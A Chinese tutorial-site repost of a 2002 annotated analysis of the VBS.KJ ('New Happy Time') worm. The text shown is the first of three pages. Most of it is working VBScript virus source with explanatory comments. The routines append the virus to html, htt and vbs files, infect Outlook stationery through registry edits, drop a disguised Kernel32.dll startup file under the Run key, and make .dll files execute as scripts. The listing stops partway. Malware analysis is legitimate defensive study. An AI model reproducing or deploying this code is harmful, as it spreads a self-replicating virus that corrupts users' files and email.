转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
VBS.KJ[新欢乐时光] - 源代码分析         ★★★★

VBS.KJ[新欢乐时光] - 源代码分析

作者:闵涛 文章来源:闵涛的学习笔记 点击数:2126 更新时间:2009/4/23 15:43:17
VBS.KJ[新欢乐时光] - 源代码分析

''''   Virus:  VBS.KJ
''''   Analyze by dancefire (DanceFire@263.net)
''''   2002/7/10
''''

Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
    ''''   初始化变量
 KJSetDim()
 ''''   初始化环境
 KJCreateMilieu()
 ''''   感染本地或者共享上与html所在目录
 KJLikeIt()
 ''''   通过vbs感染Outlook邮件模板
 KJCreateMail()
 ''''   进行病毒传播
 KJPropagate()
End Sub

''''   函数:KJAppendTo(FilePath,TypeStr)
''''   功能:向指定类型的指定文件追加病毒
''''   参数:
''''       FilePath    指定文件路径
''''       TypeStr     指定类型
Function KJAppendTo(FilePath,TypeStr)
 On Error Resume Next
 ''''   以只读方式打开指定文件
 Set ReadTemp = FSO.OpenTextFile(FilePath,1)
 ''''   将文件内容读入到TmpStr变量中
 TmpStr = ReadTemp.ReadAll
 ''''   判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;
 ''''   若文件长度小于1,也退出函数。
 If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then
  ReadTemp.Close
  Exit Function
 End If
 ''''   如果传过来的类型是"htt"
 ''''       在文件头加上调用页面的时候加载KJ_start()函数;
 ''''       在文件尾追加html版本的加密病毒体。
 ''''   如果是"html"
 ''''       在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;
 ''''   如果是"vbs"
 ''''       在文件尾追加vbs版本的病毒体
 If TypeStr = "htt" Then
  ReadTemp.Close
  Set FileTemp = FSO.OpenTextFile(FilePath,2)
  FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText
  FileTemp.Close
  Set FAttrib = FSO.GetFile(FilePath)
  FAttrib.attributes = 34
 Else
  ReadTemp.Close
  Set FileTemp = FSO.OpenTextFile(FilePath,8)
  If TypeStr = "html" Then
   FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
  ElseIf TypeStr = "vbs" Then
   FileTemp.Write vbCrLf & VbsText
  End If
  FileTemp.Close
 End If
End Function

''''   函数:KJChangeSub(CurrentString,LastIndexChar)
''''   功能:改变子目录以及盘符
''''   参数:
''''       CurrentString   当前目录
''''       LastIndexChar   上一级目录在当前路径中的位置
Function KJChangeSub(CurrentString,LastIndexChar)
    ''''   判断是否是根目录
 If LastIndexChar = 0 Then
     ''''   如果是根目录
     ''''       如果是C:\,返回FinalyDisk盘,并将SubE置为0,
     ''''       如果不是C:\,返回将当前盘符递减1,并将SubE置为0
  If Left(LCase(CurrentString),1) =< LCase("c") Then
   KJChangeSub = FinalyDisk & ":\"
   SubE = 0
  Else
   KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\"
   SubE = 0
  End If
 Else
     ''''   如果不是根目录,则返回上一级目录名称
  KJChangeSub = Mid(CurrentString,1,LastIndexChar)
 End If
End Function

''''   函数:KJCreateMail()
''''   功能:感染邮件部分
Function KJCreateMail()
 On Error Resume Next
 ''''   如果当前执行文件是"html"的,就退出函数
 If InWhere = "html" Then
  Exit Function
 End If
 ''''   取系统盘的空白页的路径
 ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"
 ''''   如果存在这个文件,就向其追加html的病毒体
    ''''   否则生成含有病毒体的这个文件
 If (FSO.FileExists(ShareFile)) Then
  Call KJAppendTo(ShareFile,"html")
 Else
  Set FileTemp = FSO.OpenTextFile(ShareFile,2,true)
  FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText
  FileTemp.Close
 End If
 ''''   取得当前用户的ID和OutLook的版本
 DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")
 OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")
 ''''   激活信纸功能,并感染所有信纸
 WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
 Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
 WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank")
 WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"
 Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")
 KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")
End Function


'''' 函数:KJCreateMilieu()
'''' 功能:创建系统环境
Function KJCreateMilieu()
 On Error Resume Next
 TempPath = ""
 '''' 判断操作系统是NT/2000还是9X
 If Not(FSO.FileExists(WinPath & "WScript.exe")) Then
  TempPath = "system32\"
 End If
 '''' 为了文件名起到迷惑性,并且不会与系统文件冲突。
 '''' 如果是NT/2000则启动文件为system\Kernel32.dll
 '''' 如果是9x启动文件则为system\Kernel.dll
 If TempPath = "system32\" Then
  StartUpFile = WinPath & "SYSTEM\Kernel32.dll"
 Else
  StartUpFile = WinPath & "SYSTEM\Kernel.dll"
 End If
 '''' 添加Run值,添加刚才生成的启动文件路径
 WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile
 ''''   拷贝前期备份的文件到原来的目录
 FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
 FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
    ''''   向%windir%\web\Folder.htt追加病毒体
 Call KJAppendTo(WinPath & "web\Folder.htt","htt")
 ''''   改变dll的MIME头
 ''''   改变dll的默认图标
 ''''   改变dll的打开方式
 WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
 WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"
 ''''   启动时加载的病毒文件中写入病毒体
 Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true)
 FileTemp.Write VbsText
 FileTemp.Close
End Function

''''   函数:KJLikeIt()
''''   功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录
Function KJLikeIt()
    ''''   如果当前执行文件不是"html"的就退出程序
 If InWhere <> "html" Then
  Exit Function
 End If
 ''''   取得文档当前路径
 ThisLocation = document.location
 ''''   如果是本地或网上共享文件
 If Left(ThisLocation, 4) = "file" Then
  ThisLocation = Mid(ThisLocation,9)
  ''''   如果这个文件扩展名不为空,在ThisLocation中保存它的路径
  If FSO.GetExtensionName(ThisLocation) <> "" then
   ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))
  End If
  ''''   如果ThisLocation的长度大于3就尾追一个"\"
  If Len(ThisLocation) > 3 Then
   ThisLocation = ThisLocation & "\"
  End If
  ''''   感染这个目录
  KJummageFolder(ThisLocation)
 End If
End Function

''''   函数:KJMailReg(RegStr,FileName)
''''   功能:如果注册表指定键值不存在,则向指定位置写入指定文件名

[1] [2] [3]  下一页


[VB.NET程序]几个 WMI 的例子(初级) - 1  [VB.NET程序]几个 WMI 的例子(初级) - 2
[VB.NET程序]几个 WMI 的例子(初级) - 3  [VB.NET程序]几个 WMI 的例子(初级) - 4
[Delphi程序][Tips]挂起 - 运行外部程式,外部程式退出 - 继续…  [Delphi程序]升级到Delphi 6 - 兼容性问题(中文全文)
[Delphi程序]升级到Delphi 6 - 兼容性问题之三(完)  [Delphi程序]升级到Delphi 6 - 兼容性问题之二
[Delphi程序]升级到Delphi 6 - 兼容性问题之一  [Delphi程序]2001 年軟體界的巨星 - Kylix:李维.
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台